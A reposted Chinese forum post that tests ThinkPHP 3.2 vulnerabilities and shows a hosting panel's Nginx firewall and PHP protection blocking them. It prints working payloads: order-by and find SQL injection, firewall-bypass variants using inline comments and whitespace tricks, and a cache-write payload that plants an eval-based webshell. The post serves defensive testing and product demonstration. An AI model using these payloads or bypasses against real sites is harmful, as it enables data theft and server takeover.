thinkphp3网站的安全防护测试


本帖最后由 cuokon 于 2020-5-29 16:22 编辑

Thinkphp3.2 order by 注入



漏洞影响版本:
ThinkPHP 3.2.3以下
ThinkPHP 5.1.22以下



漏洞代码:


图片1.png (10.42 KB, 下载次数: 9)

下载附件

2020-5-29 15:45 上传



简单讲解一下意思,获取order参数然后放到order函数去执行
这里的order函数参数可控,会导致注入
传入一个单引号



图片2.png (43.3 KB, 下载次数: 12)

下载附件

2020-5-29 15:45 上传



可以单引号已经被带入SQL语句执行,利用报错注入获得用户名


Payload:
http://mythink.com/index.php/Home/index/Order?order=and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)


图片3.png (39.73 KB, 下载次数: 12)

下载附件

2020-5-29 15:46 上传









装上付费Nginx防火墙


图片4.png (136.61 KB, 下载次数: 12)

下载附件

2020-5-29 15:49 上传



在次请求


图片5.png (44.88 KB, 下载次数: 15)

下载附件

2020-5-29 15:49 上传




尝试绕过
Payload:
http://mythink.com/tp//tp3/index.php/Home/index/Order?order=and%20updatexml/*@$3ewaf*/(1,concat/*!67778wfew*/(0x7e,(select%20database/*–%20aaa*/()),0x7e),1)


图片8.png (39.57 KB, 下载次数: 12)

下载附件

2020-5-29 15:52 上传



Thinkphp3.2 find 注入

漏洞影响版本:
ThinkPHP 3.2.3以下




漏洞代码:


图片9.png (8.49 KB, 下载次数: 15)

下载附件

2020-5-29 15:53 上传





Payload: http://mythink.com/index.php/home/index/find?id[table]=user%20where%201=2%20union%20select%201,user(),database()%20–%20a

图片10.png (20.68 KB, 下载次数: 9)

下载附件

2020-5-29 15:54 上传

注入后成功获取到了数据,装上付费的Nginx防火墙进行防御

图片11.png (127.44 KB, 下载次数: 13)

下载附件

2020-5-29 15:54 上传




再次提交payload

图片12.png (35.78 KB, 下载次数: 12)

下载附件

2020-5-29 15:54 上传


进行绕过 http://mythink.com/index.php/Home/index/Find?id[table]=user%0bwhere%091=Nunion%09select!1,/*!/*!user()*/,%0adatabase/*!700000awefw*/()%20–%20a



图片13.png (38.18 KB, 下载次数: 8)

下载附件

2020-5-29 15:54 上传

Thinkphp 3.2.3缓存漏洞

漏洞影响:
ThinkPHP 3.2.3



漏洞代码:


图片14.png (9.78 KB, 下载次数: 11)

下载附件

2020-5-29 15:58 上传


Payload: http://mythink.com/index.php/Home/index/cacheSet?value=%0d%0aeval($_POST[%27cmd%27]);%0d%0a//


图片15.png (8.55 KB, 下载次数: 7)

下载附件

2020-5-29 15:58 上传


访问后,已经生成一个Webshell了,名字是name的md5加密值,所以说只要知道了缓存的名字,就可以getshell,这里还是有安全隐患的


图片16.png (32.69 KB, 下载次数: 11)

下载附件

2020-5-29 15:58 上传


开启付费版的Nginx防火墙

图片17.png (35.2 KB, 下载次数: 10)

下载附件

2020-5-29 15:58 上传


发现直接拦截,不过因为php非常的灵活,还是可能纯在绕过的,这时候我们的宝塔PHP安全防护就登场了,为此站点制定了该cms专属的规则

图片18.png (71.96 KB, 下载次数: 7)

下载附件

2020-5-29 15:59 上传


关掉Nginx防火墙,开启PHP安全防护,然后发送Payload

图片19.png (8.87 KB, 下载次数: 14)

下载附件

2020-5-29 15:59 上传


缓存成功了,文件也生成了,视乎好像并没有什么卵用,不过好戏在后头,访问生成的shell

图片20.png (75.23 KB, 下载次数: 12)

下载附件

2020-5-29 15:59 上传

看到的是报错内容其实是被拦截了,此目录被设置了不允许执行任何php脚本文件,所以这个漏洞也就相当于被防御了


总结:
Nginx防火墙和堡塔PHP安全防护这2个工具加起来可以抵御大部分的网络工具,让网站更加安全。如果有遇到一些bug欢迎反馈!!!












转自   https://www.bt.cn/bbs/forum.php?mod=viewthread&tid=50174&extra=page%3D8%26filter%3Dtypeid%26typeid%3D10